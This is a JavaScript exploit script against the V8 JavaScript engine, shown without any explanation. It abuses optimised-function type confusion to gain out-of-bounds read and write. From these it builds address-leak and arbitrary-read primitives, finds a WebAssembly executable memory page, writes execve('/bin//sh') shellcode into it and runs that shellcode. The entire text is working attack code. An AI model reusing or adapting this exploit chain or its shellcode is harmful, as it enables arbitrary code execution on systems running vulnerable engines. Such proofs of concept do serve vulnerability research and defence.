var code
=
new Uint8Array([
0
,
97
,
115
,
109
,
1
,
0
,
0
,
0
,
1
,
133
,
128
,
128
,
128
,
0
,
1
,
96
,
0
,
1
,
127
,
3
,
130
,
128
,
128
,
128
,
0
,
1
,
0
,
4
,
132
,
128
,
128
,
128
,
0
,
1
,
112
,
0
,
0
,
5
,
131
,
128
,
128
,
128
,
0
,
1
,
0
,
1
,
6
,
129
,
128
,
128
,
128
,
0
,
0
,
7
,
145
,
128
,
128
,
128
,
0
,
2
,
6
,
109
,
101
,
109
,
111
,
114
,
121
,
2
,
0
,
4
,
109
,
97
,
105
,
110
,
0
,
0
,
10
,
138
,
128
,
128
,
128
,
0
,
1
,
132
,
128
,
128
,
128
,
0
,
0
,
65
,
42
,
11
]);
var module
=
new WebAssembly.Module(code);
var instance
=
new WebAssembly.Instance(module);
var main
=
instance.exports.main;
function foo(y) {
x
=
y;
}
function oobRead() {
return
[x[
20
],x[
24
]];
}
function oobWrite(addr) {
x[
24
]
=
addr;
}
var arr0
=
new Array(
10
); arr0.fill(
1
);arr0.a
=
1
;
var arr1
=
new Array(
10
); arr1.fill(
2
);arr1.a
=
1
;
var arr2
=
new Array(
10
); arr2.fill(
3
); arr2.a
=
1
;
var x
=
arr0;
var arr
=
new Array(
30
); arr.fill(
4
); arr.a
=
1
;
var b
=
new Array(
1
); b.fill(
1
);
var writeArr
=
[
1.1
];
%
PrepareFunctionForOptimization(foo);
foo(arr1);
arr2[
0
]
=
1.1
;
%
OptimizeFunctionOnNextCall(foo);
foo(arr1);
x[
0
]
=
1.1
;
%
PrepareFunctionForOptimization(oobRead);
oobRead();
%
OptimizeFunctionOnNextCall(oobRead);
oobRead();
%
PrepareFunctionForOptimization(oobWrite);
oobWrite(
1.1
);
%
OptimizeFunctionOnNextCall(oobWrite);
oobWrite(
1.1
);
foo(arr);
var view
=
new ArrayBuffer(
24
);
var dblArr
=
new Float64Array(view);
var intView
=
new Int32Array(view);
var bigIntView
=
new BigInt64Array(view);
b[
0
]
=
instance;
var addrs
=
oobRead();
console.log(
"addrs: "
+
ftoi32(addrs[
0
])[
0
].toString(
16
)
+
" "
+
ftoi32(addrs[
0
])[
1
].toString(
16
)
+
" "
+
ftoi32(addrs[
1
])[
0
].toString(
16
)
+
" "
+
ftoi32(addrs[
1
])[
1
].toString(
16
));
function ftoi32(f) {
dblArr[
0
]
=
f;
return
[intView[
0
], intView[
1
]];
}
function i32tof(i1, i2) {
intView[
0
]
=
i1;
intView[
1
]
=
i2;
return
dblArr[
0
];
}
function itof(i) {
bigIntView
=
BigInt(i);
return
dblArr[
0
];
}
function ftoi(f) {
dblArr[
0
]
=
f;
return
bigIntView[
0
];
}
dblArr[
0
]
=
addrs[
0
];
dblArr[
1
]
=
addrs[
1
];
function addrOf(obj) {
b[
0
]
=
obj;
let addrs
=
oobRead();
dblArr[
0
]
=
addrs[
0
];
return
intView[
1
];
}
function arbRead(addr) {
[elements, addr1]
=
ftoi32(addrs[
1
]);
oobWrite(i32tof(addr,addr1));
return
writeArr[
0
];
}
function writeShellCode(rwxAddr, shellArr) {
var intArr
=
new Uint8Array(
400
);
var intArrAddr
=
addrOf(intArr);
/
/
var intBackingStore
=
ftoi(arbRead(intArrAddr
+
0x20
));
[elements, addr1]
=
ftoi32(addrs[
1
]);
oobWrite(i32tof(intArrAddr
+
0x20
, addr1));
writeArr[
0
]
=
rwxAddr;
for
(let i
=
0
; i < shellArr.length; i
+
+
) {
intArr[i]
=
shellArr[i];
}
}
var instanceAddr
=
addrOf(instance);
var elementsAddr
=
ftoi32(addrs[
1
])[
0
];
console.log(
"instance: "
+
instanceAddr.toString(
16
));
console.log(
"elements: "
+
elementsAddr.toString(
16
));
var rwxAddr
=
arbRead(instanceAddr
+
0x60
);
console.log(
"rwx page address: "
+
ftoi(rwxAddr).toString(
16
));
var shellCode
=
[
0x31
,
/
*
0x31
,
*
/
0xf6
,
0x31
,
0xd2
,
0x31
,
0xc0
,
0x48
,
0xbb
,
0x2f
,
0x62
,
0x69
,
0x6e
,
0x2f
,
0x2f
,
0x73
,
0x68
,
0x56
,
0x53
,
0x54
,
0x5f
,
0xb8
,
0x3b
,
0
,
0
,
0
,
0xf
,
0x5
];
writeShellCode(rwxAddr, shellCode);
main();